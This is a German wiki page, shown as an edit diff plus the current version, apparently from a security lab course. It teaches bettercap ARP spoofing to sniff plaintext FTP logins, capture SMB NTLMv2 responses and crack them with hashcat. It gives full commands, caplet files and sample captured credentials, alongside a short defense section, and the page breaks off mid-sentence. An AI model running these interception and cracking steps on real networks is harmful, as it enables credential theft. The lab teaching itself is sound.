Bettercap: Credential-Harvesting mit net.sniff: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „=Bettercap: Credential-Harvesting mit net.sniff= =Szenario= *FTP-SERVER (Opfer) = 10.0.10.104 *CLIENT (userver) = 10.0.10.103 *ANGREIFER = 10.0.…“) |
|||
| (2 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 43: | Zeile 43: | ||
;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben, | ;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben, | ||
;damit man sie nicht jedes Mal von Hand tippt. | ;damit man sie nicht jedes Mal von Hand tippt. | ||
| − | *vim seclab-ftp-creds.cap | + | *vim seclab-ftp-creds.cap |
net.probe on | net.probe on | ||
set arp.spoof.targets 10.0.10.103,10.0.10.104 | set arp.spoof.targets 10.0.10.103,10.0.10.104 | ||
| Zeile 92: | Zeile 92: | ||
=Weiterfuehrende Angriffe= | =Weiterfuehrende Angriffe= | ||
| − | * | + | |
| + | ==Caplet smb== | ||
| + | |||
| + | ;Wie beim FTP-Caplet: die Befehle in eine Datei geschrieben, damit man sie nicht | ||
| + | ;jedes Mal tippt. Gefiltert wird auf die SMB-Ports 139 (NetBIOS) und 445 (SMB direkt). | ||
| + | *vim seclab-smb-creds.cap | ||
| + | net.probe on | ||
| + | set arp.spoof.targets 10.0.10.103,10.0.10.104 | ||
| + | set arp.spoof.internal true | ||
| + | set arp.spoof.fullduplex true | ||
| + | set net.sniff.filter "tcp port 445 or tcp port 139" | ||
| + | arp.spoof on | ||
| + | net.sniff on | ||
| + | |||
| + | ;Start: | ||
| + | *bettercap -iface eth0 -caplet seclab-smb-creds.cap | ||
| + | |||
| + | ==Was net.sniff bei SMB zeigt - und was nicht== | ||
| + | |||
| + | ;Anders als bei FTP steht hier KEIN Passwort im Klartext. SMB authentifiziert | ||
| + | ;ueber NTLM Challenge-Response: das Passwort geht nie ueber die Leitung. Im | ||
| + | ;Mitschnitt erscheinen nur: | ||
| + | - der Benutzername (Klartext) | ||
| + | - die Domaene / Workgroup | ||
| + | - die Server-Challenge | ||
| + | - die NTLMv2-Response (der errechnete Hash) | ||
| + | |||
| + | ;Das ist genau der Kontrast zu FTP: dieselbe MITM-Position, aber ein Protokoll, | ||
| + | ;das die Passwort-Uebertragung richtig macht. net.sniff hat fuer SMB auch keinen | ||
| + | ;fertigen user/pass-Parser - die NTLM-Response liest man in Wireshark mit dem | ||
| + | ;Anzeigefilter ntlmssp sauber aus. | ||
| + | |||
| + | ==Ausblick: der Hash ist trotzdem Beute== | ||
| + | |||
| + | ;Die mitgeschnittene NTLMv2-Response laesst sich offline knacken. Den Hash in eine | ||
| + | ;Datei schreiben und spaeter im hashcat-Kapitel wieder aufnehmen: | ||
| + | *hashcat -m 5600 ntlmv2.hash rockyou.txt | ||
| + | |||
| + | ;Das | ||
Aktuelle Version vom 20. August 2026, 16:16 Uhr
Bettercap: Credential-Harvesting mit net.sniff
Szenario
- FTP-SERVER (Opfer) = 10.0.10.104
- CLIENT (userver) = 10.0.10.103
- ANGREIFER = 10.0.10.101
- INTERFACE = eth0
Der CLIENT userver loggt sich per FTP auf dem FTP-SERVER ein. Der Angreifer sitzt per ARP-Spoofing zwischen beiden und liest die FTP-Zugangsdaten mit. FTP uebertraegt Login und Passwort im Klartext - net.sniff erkennt den Login automatisch und zeigt Benutzer und Passwort als fertige Zeile an.
Benoetigtes Paket
- apt-get install bettercap
Angreifer: MITM + Sniffer starten
- bettercap -iface eth0
- Im bettercap-Prompt
- set arp.spoof.targets 10.0.10.103,10.0.10.104
- set arp.spoof.internal true
- set arp.spoof.fullduplex true
- set net.sniff.filter "tcp port 21 or tcp port 20"
- net.probe on
- arp.spoof on
- net.sniff on
Optionen
arp.spoof.targets = beide Hosts (Client und FTP-Server) arp.spoof.internal true = Host-zu-Host im LAN vergiften (beide sind interne Hosts) arp.spoof.fullduplex = beide Richtungen vergiften net.sniff.filter = nur FTP-Verkehr anzeigen (21 Steuerkanal, 20 Datenkanal) net.probe on = ARP-Cache vorab fuellen arp.spoof on = ARP-Spoofing starten net.sniff on = Sniffer mit Protokoll-Parsern starten
- net.sniff ist kein reiner Mitschnitt
- es kennt die Klartext-Protokolle und zieht
- die Zugangsdaten selbst heraus. Man muss den TCP-Stream nicht von Hand
- zusammensetzen - der FTP-Login erscheint fertig geparst im Log.
Als Caplet (reproduzierbar)
- Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
- damit man sie nicht jedes Mal von Hand tippt.
- vim seclab-ftp-creds.cap
net.probe on set arp.spoof.targets 10.0.10.103,10.0.10.104 set arp.spoof.internal true set arp.spoof.fullduplex true set net.sniff.filter "tcp port 21 or tcp port 20" arp.spoof on net.sniff on
- Start
- bettercap -iface eth0 -caplet seclab-ftp-creds.cap
Auf dem CLIENT: FTP-Login ausloesen
- Damit es etwas mitzuschneiden gibt, loggt sich der userver auf dem FTP-Server ein.
- ftp 10.0.10.104
Connected to 10.0.10.104. Name (10.0.10.104:root): testuser Password: geheim123 230 Login successful. ftp> quit
Auf dem Angreifer: der abgegriffene Login
- Im net.sniff-Log erscheint der Login fertig geparst, etwa so
[net.sniff.ftp] 10.0.10.103 > 10.0.10.104 user 'testuser' [net.sniff.ftp] 10.0.10.103 > 10.0.10.104 pass 'geheim123'
- Benutzer und Passwort stehen im Klartext da - ohne dass man den TCP-Stream
- von Hand zusammenbauen musste.
Gegenprobe: derselbe Login in Wireshark
- Zum Vergleich denselben FTP-Login in Wireshark oeffnen und "Follow TCP Stream"
- waehlen. Man sieht dieselben Daten - aber verteilt ueber viele Pakete und ohne
- fertige Auswertung. Das zeigt, was net.sniff dem Angreifer an Arbeit abnimmt.
Angriff beenden
- Im bettercap-Prompt
- arp.spoof off
- q
- arp.spoof off schickt re-ARP, damit die ARP-Caches von Client und Server wieder
- stimmen.
Warum das funktioniert - und die Abwehr
- FTP uebertraegt Login und Passwort unverschluesselt. Die Abwehr ist nicht "besser
- aufpassen", sondern das Protokoll ersetzen
- FTPS (FTP ueber TLS) oder SFTP (ueber SSH) statt Klartext-FTP
- Damit sieht net.sniff nur noch verschluesselte Bytes - kein Login mehr im Klartext
Weiterfuehrende Angriffe
Caplet smb
- Wie beim FTP-Caplet
- die Befehle in eine Datei geschrieben, damit man sie nicht
- jedes Mal tippt. Gefiltert wird auf die SMB-Ports 139 (NetBIOS) und 445 (SMB direkt).
- vim seclab-smb-creds.cap
net.probe on set arp.spoof.targets 10.0.10.103,10.0.10.104 set arp.spoof.internal true set arp.spoof.fullduplex true set net.sniff.filter "tcp port 445 or tcp port 139" arp.spoof on net.sniff on
- Start
- bettercap -iface eth0 -caplet seclab-smb-creds.cap
Was net.sniff bei SMB zeigt - und was nicht
- Anders als bei FTP steht hier KEIN Passwort im Klartext. SMB authentifiziert
- ueber NTLM Challenge-Response
- das Passwort geht nie ueber die Leitung. Im
- Mitschnitt erscheinen nur
- der Benutzername (Klartext) - die Domaene / Workgroup - die Server-Challenge - die NTLMv2-Response (der errechnete Hash)
- Das ist genau der Kontrast zu FTP
- dieselbe MITM-Position, aber ein Protokoll,
- das die Passwort-Uebertragung richtig macht. net.sniff hat fuer SMB auch keinen
- fertigen user/pass-Parser - die NTLM-Response liest man in Wireshark mit dem
- Anzeigefilter ntlmssp sauber aus.
Ausblick: der Hash ist trotzdem Beute
- Die mitgeschnittene NTLMv2-Response laesst sich offline knacken. Den Hash in eine
- Datei schreiben und spaeter im hashcat-Kapitel wieder aufnehmen
- hashcat -m 5600 ntlmv2.hash rockyou.txt
- Das